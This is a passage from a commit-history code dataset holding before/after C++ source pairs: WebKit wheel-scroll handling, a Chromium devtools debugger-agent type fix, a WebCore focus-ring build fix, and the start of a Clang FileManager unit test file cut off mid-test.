SystemParametersInfo(SPI_GETWHEELSCROLLLINES, 0, &scrollLines, 0);\n if (scrollLines == WHEEL_PAGESCROLL)\n result.scrollByPage = true;\n if (!result.scrollByPage)\n scrollDelta *= static_cast<float>(scrollLines) * scrollbarPixelsPerLine;\n }\n\n \/\/ Set scroll amount based on above calculations. WebKit expects positive\n \/\/ deltaY to mean \"scroll up\" and positive deltaX to mean \"scroll left\".\n if (horizontalScroll) {\n result.deltaX = scrollDelta;\n result.wheelTicksX = wheelDelta;\n } else {\n result.deltaY = scrollDelta;\n result.wheelTicksY = wheelDelta;\n }\n\n return result;\n}\n\n} \/\/ namespace WebKit\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"config.h\"\n\n#include <wtf\/HashSet.h>\n#include <wtf\/RefPtr.h>\n#include <wtf\/Vector.h>\n\n#include \"Document.h\"\n#include \"Page.h\"\n#include \"V8Binding.h\"\n#include \"V8DOMWindow.h\"\n#include \"V8Index.h\"\n#include \"V8Proxy.h\"\n#undef LOG\n\n#include \"base\/string_piece.h\"\n#include \"grit\/webkit_resources.h\"\n#include \"webkit\/glue\/devtools\/debugger_agent_impl.h\"\n#include \"webkit\/glue\/devtools\/debugger_agent_manager.h\"\n#include \"webkit\/glue\/glue_util.h\"\n#include \"webkit\/glue\/webdevtoolsagent_impl.h\"\n#include \"webkit\/glue\/webkit_glue.h\"\n#include \"webkit\/glue\/webview_impl.h\"\n\nusing WebCore::DOMWindow;\nusing WebCore::Document;\nusing WebCore::Frame;\nusing WebCore::Page;\nusing WebCore::String;\nusing WebCore::V8ClassIndex;\nusing WebCore::V8Custom;\nusing WebCore::V8DOMWindow;\nusing WebCore::V8Proxy;\n\nDebuggerAgentImpl::DebuggerAgentImpl(\n WebViewImpl* web_view_impl,\n DebuggerAgentDelegate* delegate,\n WebDevToolsAgentImpl* webdevtools_agent)\n : web_view_impl_(web_view_impl),\n delegate_(delegate),\n webdevtools_agent_(webdevtools_agent),\n profiler_log_position_(0) {\n DebuggerAgentManager::DebugAttach(this);\n}\n\nDebuggerAgentImpl::~DebuggerAgentImpl() {\n DebuggerAgentManager::DebugDetach(this);\n}\n\nvoid DebuggerAgentImpl::DebugBreak() {\n DebuggerAgentManager::DebugBreak(this);\n}\n\nvoid DebuggerAgentImpl::GetContextId() {\n delegate_->SetContextId(webdevtools_agent_->host_id());\n}\n\nvoid DebuggerAgentImpl::StartProfiling() {\n v8::HandleScope scope;\n WebCore::V8Proxy* proxy = V8Proxy::retrieve(GetPage()->mainFrame());\n DCHECK(proxy && proxy->isContextInitialized());\n v8::Context::Scope context_scope(proxy->context());\n v8::V8::ResumeProfiler();\n}\n\nvoid DebuggerAgentImpl::StopProfiling() {\n v8::V8::PauseProfiler();\n}\n\nvoid DebuggerAgentImpl::IsProfilingStarted() {\n delegate_->DidIsProfilingStarted(!v8::V8::IsProfilerPaused());\n}\n\nvoid DebuggerAgentImpl::GetNextLogLines() {\n static char buffer[65536];\n int read_size = v8::V8::GetLogLines(\n profiler_log_position_, buffer, sizeof(buffer) - 1);\n profiler_log_position_ += read_size;\n buffer[read_size] = '\\0';\n delegate_->DidGetNextLogLines(buffer);\n}\n\nvoid DebuggerAgentImpl::DebuggerOutput(const std::string& command) {\n delegate_->DebuggerOutput(command);\n webdevtools_agent_->ForceRepaint();\n}\n\n\/\/ static\nvoid DebuggerAgentImpl::ResetUtilityContext(\n Document* document,\n v8::Persistent<v8::Context>* context) {\n if (!context->IsEmpty()) {\n context->Dispose();\n context->Clear();\n }\n v8::HandleScope scope;\n\n \/\/ TODO(pfeldman): Validate against Soeren.\n \/\/ Set up the DOM window as the prototype of the new global object.\n v8::Handle<v8::Context> window_context =\n V8Proxy::context(document->frame());\n v8::Handle<v8::Object> window_global = window_context->Global();\n v8::Handle<v8::Value> window_wrapper =\n V8Proxy::lookupDOMWrapper(V8ClassIndex::DOMWINDOW, window_global);\n\n ASSERT(V8Proxy::convertDOMWrapperToNative<DOMWindow>(window_wrapper) ==\n document->frame()->domWindow());\n\n \/\/ Create a new environment using an empty template for the shadow\n \/\/ object. Reuse the global object if one has been created earlier.\n v8::Handle<v8::ObjectTemplate> global_template =\n V8DOMWindow::GetShadowObjectTemplate();\n\n \/\/ Install a security handler with V8.\n global_template->SetAccessCheckCallbacks(\n V8Custom::v8DOMWindowNamedSecurityCheck,\n V8Custom::v8DOMWindowIndexedSecurityCheck,\n v8::Integer::New(V8ClassIndex::DOMWINDOW));\n\n *context = v8::Context::New(\n NULL \/* no extensions *\/,\n global_template,\n v8::Handle<v8::Object>());\n v8::Context::Scope context_scope(*context);\n v8::Handle<v8::Object> global = (*context)->Global();\n\n v8::Handle<v8::String> implicit_proto_string = v8::String::New(\"__proto__\");\n global->Set(implicit_proto_string, window_wrapper);\n\n \/\/ Give the code running in the new context a way to get access to the\n \/\/ original context.\n global->Set(v8::String::New(\"contentWindow\"), window_global);\n\n \/\/ Inject javascript into the context.\n StringPiece basejs = webkit_glue::GetDataResource(IDR_DEVTOOLS_BASE_JS);\n v8::Script::Compile(v8::String::New(basejs.as_string().c_str()))->Run();\n StringPiece injectjs = webkit_glue::GetDataResource(IDR_DEVTOOLS_INJECT_JS);\n v8::Script::Compile(v8::String::New(injectjs.as_string().c_str()))->Run();\n StringPiece inject_dispatchjs = webkit_glue::GetDataResource(\n IDR_DEVTOOLS_INJECT_DISPATCH_JS);\n v8::Script::Compile(v8::String::New(\n inject_dispatchjs.as_string().c_str()))->Run();\n}\n\nString DebuggerAgentImpl::ExecuteUtilityFunction(\n v8::Handle<v8::Context> context,\n const String &function_name,\n const String& json_args,\n String* exception) {\n v8::HandleScope scope;\n ASSERT(!context.IsEmpty());\n if (context.IsEmpty()) {\n *exception = \"No window context.\";\n return \"\";\n }\n v8::Context::Scope context_scope(context);\n v8::Handle<v8::Function> function = v8::Local<v8::Function>::Cast(\n context->Global()->Get(v8::String::New(\"devtools$$dispatch\")));\n\n v8::Handle<v8::String> function_name_wrapper = v8::Handle<v8::String>(\n v8::String::New(function_name.utf8().data()));\n v8::Handle<v8::String> json_args_wrapper = v8::Handle<v8::String>(\n v8::String::New(json_args.utf8().data()));\n v8::Handle<v8::Value> args[] = {\n function_name_wrapper,\n json_args_wrapper\n };\n\n v8::TryCatch try_catch;\n v8::Handle<v8::Value> res_obj = function->Call(context->Global(), 2, args);\n if (try_catch.HasCaught()) {\n *exception = WebCore::toWebCoreString(try_catch.Message()->Get());\n return \"\";\n } else {\n v8::Handle<v8::String> res_json = v8::Handle<v8::String>::Cast(res_obj);\n return WebCore::toWebCoreString(res_json);\n }\n}\n\nWebCore::Page* DebuggerAgentImpl::GetPage() {\n return web_view_impl_->page();\n}\n<commit_msg>Land Anton's patch to avoid throwing away type information on the window wrapper in the debugger agent.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"config.h\"\n\n#include <wtf\/HashSet.h>\n#include <wtf\/RefPtr.h>\n#include <wtf\/Vector.h>\n\n#include \"Document.h\"\n#include \"Page.h\"\n#include \"V8Binding.h\"\n#include \"V8DOMWindow.h\"\n#include \"V8Index.h\"\n#include \"V8Proxy.h\"\n#undef LOG\n\n#include \"base\/string_piece.h\"\n#include \"grit\/webkit_resources.h\"\n#include \"webkit\/glue\/devtools\/debugger_agent_impl.h\"\n#include \"webkit\/glue\/devtools\/debugger_agent_manager.h\"\n#include \"webkit\/glue\/glue_util.h\"\n#include \"webkit\/glue\/webdevtoolsagent_impl.h\"\n#include \"webkit\/glue\/webkit_glue.h\"\n#include \"webkit\/glue\/webview_impl.h\"\n\nusing WebCore::DOMWindow;\nusing WebCore::Document;\nusing WebCore::Frame;\nusing WebCore::Page;\nusing WebCore::String;\nusing WebCore::V8ClassIndex;\nusing WebCore::V8Custom;\nusing WebCore::V8DOMWindow;\nusing WebCore::V8Proxy;\n\nDebuggerAgentImpl::DebuggerAgentImpl(\n WebViewImpl* web_view_impl,\n DebuggerAgentDelegate* delegate,\n WebDevToolsAgentImpl* webdevtools_agent)\n : web_view_impl_(web_view_impl),\n delegate_(delegate),\n webdevtools_agent_(webdevtools_agent),\n profiler_log_position_(0) {\n DebuggerAgentManager::DebugAttach(this);\n}\n\nDebuggerAgentImpl::~DebuggerAgentImpl() {\n DebuggerAgentManager::DebugDetach(this);\n}\n\nvoid DebuggerAgentImpl::DebugBreak() {\n DebuggerAgentManager::DebugBreak(this);\n}\n\nvoid DebuggerAgentImpl::GetContextId() {\n delegate_->SetContextId(webdevtools_agent_->host_id());\n}\n\nvoid DebuggerAgentImpl::StartProfiling() {\n v8::HandleScope scope;\n WebCore::V8Proxy* proxy = V8Proxy::retrieve(GetPage()->mainFrame());\n DCHECK(proxy && proxy->isContextInitialized());\n v8::Context::Scope context_scope(proxy->context());\n v8::V8::ResumeProfiler();\n}\n\nvoid DebuggerAgentImpl::StopProfiling() {\n v8::V8::PauseProfiler();\n}\n\nvoid DebuggerAgentImpl::IsProfilingStarted() {\n delegate_->DidIsProfilingStarted(!v8::V8::IsProfilerPaused());\n}\n\nvoid DebuggerAgentImpl::GetNextLogLines() {\n static char buffer[65536];\n int read_size = v8::V8::GetLogLines(\n profiler_log_position_, buffer, sizeof(buffer) - 1);\n profiler_log_position_ += read_size;\n buffer[read_size] = '\\0';\n delegate_->DidGetNextLogLines(buffer);\n}\n\nvoid DebuggerAgentImpl::DebuggerOutput(const std::string& command) {\n delegate_->DebuggerOutput(command);\n webdevtools_agent_->ForceRepaint();\n}\n\n\/\/ static\nvoid DebuggerAgentImpl::ResetUtilityContext(\n Document* document,\n v8::Persistent<v8::Context>* context) {\n if (!context->IsEmpty()) {\n context->Dispose();\n context->Clear();\n }\n v8::HandleScope scope;\n\n \/\/ TODO(pfeldman): Validate against Soeren.\n \/\/ Set up the DOM window as the prototype of the new global object.\n v8::Handle<v8::Context> window_context =\n V8Proxy::context(document->frame());\n v8::Handle<v8::Object> window_global = window_context->Global();\n v8::Handle<v8::Object> window_wrapper =\n V8Proxy::lookupDOMWrapper(V8ClassIndex::DOMWINDOW, window_global);\n\n ASSERT(V8Proxy::convertDOMWrapperToNative<DOMWindow>(window_wrapper) ==\n document->frame()->domWindow());\n\n \/\/ Create a new environment using an empty template for the shadow\n \/\/ object. Reuse the global object if one has been created earlier.\n v8::Handle<v8::ObjectTemplate> global_template =\n V8DOMWindow::GetShadowObjectTemplate();\n\n \/\/ Install a security handler with V8.\n global_template->SetAccessCheckCallbacks(\n V8Custom::v8DOMWindowNamedSecurityCheck,\n V8Custom::v8DOMWindowIndexedSecurityCheck,\n v8::Integer::New(V8ClassIndex::DOMWINDOW));\n\n *context = v8::Context::New(\n NULL \/* no extensions *\/,\n global_template,\n v8::Handle<v8::Object>());\n v8::Context::Scope context_scope(*context);\n v8::Handle<v8::Object> global = (*context)->Global();\n\n v8::Handle<v8::String> implicit_proto_string = v8::String::New(\"__proto__\");\n global->Set(implicit_proto_string, window_wrapper);\n\n \/\/ Give the code running in the new context a way to get access to the\n \/\/ original context.\n global->Set(v8::String::New(\"contentWindow\"), window_global);\n\n \/\/ Inject javascript into the context.\n StringPiece basejs = webkit_glue::GetDataResource(IDR_DEVTOOLS_BASE_JS);\n v8::Script::Compile(v8::String::New(basejs.as_string().c_str()))->Run();\n StringPiece injectjs = webkit_glue::GetDataResource(IDR_DEVTOOLS_INJECT_JS);\n v8::Script::Compile(v8::String::New(injectjs.as_string().c_str()))->Run();\n StringPiece inject_dispatchjs = webkit_glue::GetDataResource(\n IDR_DEVTOOLS_INJECT_DISPATCH_JS);\n v8::Script::Compile(v8::String::New(\n inject_dispatchjs.as_string().c_str()))->Run();\n}\n\nString DebuggerAgentImpl::ExecuteUtilityFunction(\n v8::Handle<v8::Context> context,\n const String &function_name,\n const String& json_args,\n String* exception) {\n v8::HandleScope scope;\n ASSERT(!context.IsEmpty());\n if (context.IsEmpty()) {\n *exception = \"No window context.\";\n return \"\";\n }\n v8::Context::Scope context_scope(context);\n v8::Handle<v8::Function> function = v8::Local<v8::Function>::Cast(\n context->Global()->Get(v8::String::New(\"devtools$$dispatch\")));\n\n v8::Handle<v8::String> function_name_wrapper = v8::Handle<v8::String>(\n v8::String::New(function_name.utf8().data()));\n v8::Handle<v8::String> json_args_wrapper = v8::Handle<v8::String>(\n v8::String::New(json_args.utf8().data()));\n v8::Handle<v8::Value> args[] = {\n function_name_wrapper,\n json_args_wrapper\n };\n\n v8::TryCatch try_catch;\n v8::Handle<v8::Value> res_obj = function->Call(context->Global(), 2, args);\n if (try_catch.HasCaught()) {\n *exception = WebCore::toWebCoreString(try_catch.Message()->Get());\n return \"\";\n } else {\n v8::Handle<v8::String> res_json = v8::Handle<v8::String>::Cast(res_obj);\n return WebCore::toWebCoreString(res_json);\n }\n}\n\nWebCore::Page* DebuggerAgentImpl::GetPage() {\n return web_view_impl_->page();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2008 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#include \"config.h\"\n#include \"Color.h\"\n\n#include \"SkColor.h\"\n\n#include <wtf\/Assertions.h>\n\nnamespace WebCore {\n\nCOMPILE_ASSERT(SK_ColorBLACK == Color::black, SkColorAndColorAreLaidOutTheSame);\n\nColor WebCore::focusRingColor()\n{\n static Color focusRingColor(229, 151, 0, 255);\n return focusRingColor;\n}\n\n} \/\/ namespace WebCore\n<commit_msg>Fix at least the Linux build. Boo MSVC for not complaining about this.<commit_after>\/*\n * Copyright (C) 2008 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#include \"config.h\"\n#include \"Color.h\"\n\n#include \"SkColor.h\"\n\n#include <wtf\/Assertions.h>\n\nnamespace WebCore {\n\nCOMPILE_ASSERT(SK_ColorBLACK == Color::black, SkColorAndColorAreLaidOutTheSame);\n\nColor focusRingColor()\n{\n static Color focusRingColor(229, 151, 0, 255);\n return focusRingColor;\n}\n\n} \/\/ namespace WebCore\n<|endoftext|>"} {"text":"<commit_before>\/\/===- unittests\/Basic\/FileMangerTest.cpp ------------ FileManger tests ---===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Basic\/FileManager.h\"\n#include \"clang\/Basic\/FileSystemOptions.h\"\n#include \"clang\/Basic\/FileSystemStatCache.h\"\n#include \"llvm\/ADT\/STLExtras.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/VirtualFileSystem.h\"\n#include \"gtest\/gtest.h\"\n\nusing namespace llvm;\nusing namespace clang;\n\nnamespace {\n\n\/\/ Used to create a fake file system for running the tests with such\n\/\/ that the tests are not affected by the structure\/contents of the\n\/\/ file system on the machine running the tests.\nclass FakeStatCache : public FileSystemStatCache {\nprivate:\n \/\/ Maps a file\/directory path to its desired stat result. Anything\n \/\/ not in this map is considered to not exist in the file system.\n llvm::StringMap<llvm::vfs::Status, llvm::BumpPtrAllocator> StatCalls;\n\n void InjectFileOrDirectory(const char *Path, ino_t INode, bool IsFile) {\n#ifndef _WIN32\n SmallString<128> NormalizedPath(Path);\n llvm::sys::path::native(NormalizedPath);\n Path = NormalizedPath.c_str();\n#endif\n\n auto fileType = IsFile ?\n llvm::sys::fs::file_type::regular_file :\n llvm::sys::fs::file_type::directory_file;\n llvm::vfs::Status Status(Path, llvm::sys::fs::UniqueID(1, INode),\n \/*MTime*\/{}, \/*User*\/0, \/*Group*\/0,\n \/*Size*\/0, fileType,\n llvm::sys::fs::perms::all_all);\n StatCalls[Path] = Status;\n }\n\npublic:\n \/\/ Inject a file with the given inode value to the fake file system.\n void InjectFile(const char *Path, ino_t INode) {\n InjectFileOrDirectory(Path, INode, \/*IsFile=*\/true);\n }\n\n \/\/ Inject a directory with the given inode value to the fake file system.\n void InjectDirectory(const char *Path, ino_t INode) {\n InjectFileOrDirectory(Path, INode, \/*IsFile=*\/false);\n }\n\n \/\/ Implement FileSystemStatCache::getStat().\n std::error_code getStat(StringRef Path, llvm::vfs::Status &Status,\n bool isFile,\n std::unique_ptr<llvm::vfs::File> *F,\n llvm::vfs::FileSystem &FS) override {\n#ifndef _WIN32\n SmallString<128> NormalizedPath(Path);\n llvm::sys::path::native(NormalizedPath);\n Path = NormalizedPath.c_str();\n#endif\n\n if (StatCalls.count(Path) != 0) {\n Status = StatCalls[Path];\n return std::error_code();\n }\n\n return std::make_error_code(std::errc::no_such_file_or_directory);\n }\n};\n\n\/\/ The test fixture.\nclass FileManagerTest : public ::testing::Test {\n protected:\n FileManagerTest() : manager(options) {\n }\n\n FileSystemOptions options;\n FileManager manager;\n};\n\n\/\/ When a virtual file is added, its getDir() field is set correctly\n\/\/ (not NULL, correct name).\nTEST_F(FileManagerTest, getVirtualFileSetsTheDirFieldCorrectly) {\n const FileEntry *file = manager.getVirtualFile(\"foo.cpp\", 42, 0);\n ASSERT_TRUE(file != nullptr);\n\n const DirectoryEntry *dir = file->getDir();\n ASSERT_TRUE(dir != nullptr);\n EXPECT_EQ(\".\", dir->getName());\n\n file = manager.getVirtualFile(\"x\/y\/z.cpp\", 42, 0);\n ASSERT_TRUE(file != nullptr);\n\n dir = file->getDir();\n ASSERT_TRUE(dir != nullptr);\n EXPECT_EQ(\"x\/y\", dir->getName());\n}\n\n\/\/ Before any virtual file is added, no virtual directory exists.\nTEST_F(FileManagerTest, NoVirtualDirectoryExistsBeforeAVirtualFileIsAdded) {\n \/\/ An empty FakeStatCache causes all stat calls made by the\n \/\/ FileManager to report \"file\/directory doesn't exist\". This\n \/\/ avoids the possibility of the result of this test being affected\n \/\/ by what's in the real file system.\n manager.setStatCache(llvm::make_unique<FakeStatCache>());\n\n ASSERT_FALSE(manager.getDirectory(\"virtual\/dir\/foo\"));\n ASSERT_FALSE(manager.getDirectory(\"virtual\/dir\"));\n ASSERT_FALSE(manager.getDirectory(\"virtual\"));\n}\n\n\/\/ When a virtual file is added, all of its ancestors should be created.\nTEST_F(FileManagerTest, getVirtualFileCreatesDirectoryEntriesForAncestors) {\n \/\/ Fake an empty real file system.\n manager.setStatCache(llvm::make_unique<FakeStatCache>());\n\n manager.getVirtualFile(\"virtual\/dir\/bar.h\", 100, 0);\n ASSERT_FALSE(manager.getDirectory(\"virtual\/dir\/foo\"));\n\n auto dir = manager.getDirectory(\"virtual\/dir\");\n ASSERT_TRUE(dir);\n EXPECT_EQ(\"virtual\/dir\", (*dir)->getName());\n\n dir = manager.getDirectory(\"virtual\");\n ASSERT_TRUE(dir);\n EXPECT_EQ(\"virtual\", (*dir)->getName());\n}\n\n\/\/ getFile() returns non-NULL if a real file exists at the given path.\nTEST_F(FileManagerTest, getFileReturnsValidFileEntryForExistingRealFile) {\n \/\/ Inject fake files into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"\/tmp\", 42);\n statCache->InjectFile(\"\/tmp\/test\", 43);\n\n#ifdef _WIN32\n const char *DirName = \"C:.\";\n const char *FileName = \"C:test\";\n statCache->InjectDirectory(DirName, 44);\n statCache->InjectFile(FileName, 45);\n#endif\n\n manager.setStatCache(std::move(statCache));\n\n auto file = manager.getFile(\"\/tmp\/test\");\n ASSERT_TRUE(file);\n ASSERT_TRUE((*file)->isValid());\n EXPECT_EQ(\"\/tmp\/test\", (*file)->getName());\n\n const DirectoryEntry *dir = (*file)->getDir();\n ASSERT_TRUE(dir != nullptr);\n EXPECT_EQ(\"\/tmp\", dir->getName());\n\n#ifdef _WIN32\n file = manager.getFile(FileName);\n ASSERT_TRUE(file);\n\n dir = file->getDir();\n ASSERT_TRUE(dir != NULL);\n EXPECT_EQ(DirName, dir->getName());\n#endif\n}\n\n\/\/ getFile() returns non-NULL if a virtual file exists at the given path.\nTEST_F(FileManagerTest, getFileReturnsValidFileEntryForExistingVirtualFile) {\n \/\/ Fake an empty real file system.\n manager.setStatCache(llvm::make_unique<FakeStatCache>());\n\n manager.getVirtualFile(\"virtual\/dir\/bar.h\", 100, 0);\n auto file = manager.getFile(\"virtual\/dir\/bar.h\");\n ASSERT_TRUE(file);\n ASSERT_TRUE((*file)->isValid());\n EXPECT_EQ(\"virtual\/dir\/bar.h\", (*file)->getName());\n\n const DirectoryEntry *dir = (*file)->getDir();\n ASSERT_TRUE(dir != nullptr);\n EXPECT_EQ(\"virtual\/dir\", dir->getName());\n}\n\n\/\/ getFile() returns different FileEntries for different paths when\n\/\/ there's no aliasing.\nTEST_F(FileManagerTest, getFileReturnsDifferentFileEntriesForDifferentFiles) {\n \/\/ Inject two fake files into the file system. Different inodes\n \/\/ mean the files are not symlinked together.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\".\", 41);\n statCache->InjectFile(\"foo.cpp\", 42);\n statCache->InjectFile(\"bar.cpp\", 43);\n manager.setStatCache(std::move(statCache));\n\n auto fileFoo = manager.getFile(\"foo.cpp\");\n auto fileBar = manager.getFile(\"bar.cpp\");\n ASSERT_TRUE(fileFoo);\n ASSERT_TRUE((*fileFoo)->isValid());\n ASSERT_TRUE(fileBar);\n ASSERT_TRUE((*fileBar)->isValid());\n EXPECT_NE(*fileFoo, *fileBar);\n}\n\n\/\/ getFile() returns an error if neither a real file nor a virtual file\n\/\/ exists at the given path.\nTEST_F(FileManagerTest, getFileReturnsErrorForNonexistentFile) {\n \/\/ Inject a fake foo.cpp into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\".\", 41);\n statCache->InjectFile(\"foo.cpp\", 42);\n statCache->InjectDirectory(\"MyDirectory\", 49);\n manager.setStatCache(std::move(statCache));\n\n \/\/ Create a virtual bar.cpp file.\n manager.getVirtualFile(\"bar.cpp\", 200, 0);\n\n auto file = manager.getFile(\"xyz.txt\");\n ASSERT_FALSE(file);\n ASSERT_EQ(file.getError(), std::errc::no_such_file_or_directory);\n\n auto readingDirAsFile = manager.getFile(\"MyDirectory\");\n ASSERT_FALSE(readingDirAsFile);\n ASSERT_EQ(readingDirAsFile.getError(), std::errc::is_a_directory);\n\n auto readingFileAsDir = manager.getDirectory(\"foo.cpp\");\n ASSERT_FALSE(readingFileAsDir);\n ASSERT_EQ(readingFileAsDir.getError(), std::errc::not_a_directory);\n}\n\n\/\/ The following tests apply to Unix-like system only.\n\n#ifndef _WIN32\n\n\/\/ getFile() returns the same FileEntry for real files that are aliases.\nTEST_F(FileManagerTest, getFileReturnsSameFileEntryForAliasedRealFiles) {\n \/\/ Inject two real files with the same inode.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"abc\", 41);\n statCache->InjectFile(\"abc\/foo.cpp\", 42);\n statCache->InjectFile(\"abc\/bar.cpp\", 42);\n manager.setStatCache(std::move(statCache));\n\n auto f1 = manager.getFile(\"abc\/foo.cpp\");\n auto f2 = manager.getFile(\"abc\/bar.cpp\");\n\n EXPECT_EQ(f1 ? *f1 : nullptr,\n f2 ? *f2 : nullptr);\n}\n\n\/\/ getFile() returns the same FileEntry for virtual files that have\n\/\/ corresponding real files that are aliases.\nTEST_F(FileManagerTest, getFileReturnsSameFileEntryForAliasedVirtualFiles) {\n \/\/ Inject two real files with the same inode.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"abc\", 41);\n statCache->InjectFile(\"abc\/foo.cpp\", 42);\n statCache->InjectFile(\"abc\/bar.cpp\", 42);\n manager.setStatCache(std::move(statCache));\n\n ASSERT_TRUE(manager.getVirtualFile(\"abc\/foo.cpp\", 100, 0)->isValid());\n ASSERT_TRUE(manager.getVirtualFile(\"abc\/bar.cpp\", 200, 0)->isValid());\n\n auto f1 = manager.getFile(\"abc\/foo.cpp\");\n auto f2 = manager.getFile(\"abc\/bar.cpp\");\n\n EXPECT_EQ(f1 ? *f1 : nullptr,\n f2 ? *f2 : nullptr);\n}\n\n\/\/ getFile() Should return the same entry as getVirtualFile if the file actually\n\/\/ is a virtual file, even if the name is not exactly the same (but is after\n\/\/ normalisation done by the file system, like on Windows). This can be checked\n\/\/ here by checking the size.\nTEST_F(FileManagerTest, getVirtualFileWithDifferentName) {\n \/\/ Inject fake files into the file system.\n auto statCache = llvm::make_unique<FakeStatCache>();\n statCache->InjectDirectory(\"c:\\\\tmp\", 42);\n statCache->InjectFile(\"c:\\\\tmp\\\\test\", 43);\n\n manager.setStatCache(std::move(statCache));\n\n \/\/ Inject the virtual file:\n const FileEntry *file1 = manager.getVirtualFile(\"c:\\\\tmp\\\\test\", 123, 1);\n ASSERT_TRUE(file1 != nullptr);\n ASSERT_TRUE(file1->isValid());\n EXPECT_EQ(43U, file1->getUniqueID().getFile());\n EXPECT_EQ(123, file1->getSize());\n\n \/\/ Lookup the virtual file with a different name:\n auto file2 = manager.getFile(\"c:\/tmp\/test\", 100, 1);\n ASSERT_TRUE(file2);\n ASSERT_TRUE((*file2)->isValid());\n \/\/ Check that it's the same UFE:\n EXPECT_EQ(file1, *file2);\n EXPECT_EQ(43U, (*file2)->getUniqueID().getFile());\n \/\/ Check that the contents of the UFE are not overwritten by the entry in the\n \/\/ filesystem:\n EXPECT_EQ(123, (*file2)->getSize());\n}\n\n#endif \/\/ !_WIN32\n\nTEST_F(FileManagerTest, makeAbsoluteUsesVFS) {\n SmallString<64> CustomWorkingDir;\n#ifdef _WIN32\n CustomWorkingDir = \"C:\";\n#else\n CustomWorkingDir = \"\/\";\n#endif\n llvm::sys::path::append(CustomWorkingDir, \"some\", \"weird\", \"path\");\n\n auto FS = IntrusiveRefCntPtr<llvm::vfs::InMemoryFileSystem>(\n new llvm::vfs::InMemoryFileSystem);\n \/\/ setCurrentworkingdirectory must finish without error.\n ASSERT_TRUE(!FS->setCurrentWorkingDirectory(CustomWorkingDir));\n\n FileSystemOptions Opts;\n FileManager Manager(Opts, FS);\n\n SmallString<64> Path(\"a\/foo.cpp\");\n\n SmallString<64> ExpectedResult(CustomWorkingDir);\n llvm::sys::path::append(ExpectedResult, Path);\n\n ASSERT_TRUE(Manager.makeAbsolutePath(Path));\n EXPECT_EQ(Path, ExpectedResult);\n}\n\n\/\/ getVirtualFile should always fill the real path.\nTEST_F(FileManagerTest, getVirtualFileFillsRealPathName) {\n SmallString<64> CustomWorkingDir;\n#ifdef _WIN32\n CustomWorkingDir = \"C:\/\";\n#else\n CustomWorkingDir = \"\/\";\n#endif\n\n auto FS = IntrusiveRefCntPtr<llvm::vfs::InMemoryFileSystem>(\n new llvm::vfs::InMemoryFileSystem);\n \/\/ setCurrentworkingdirectory must finish without error.\n 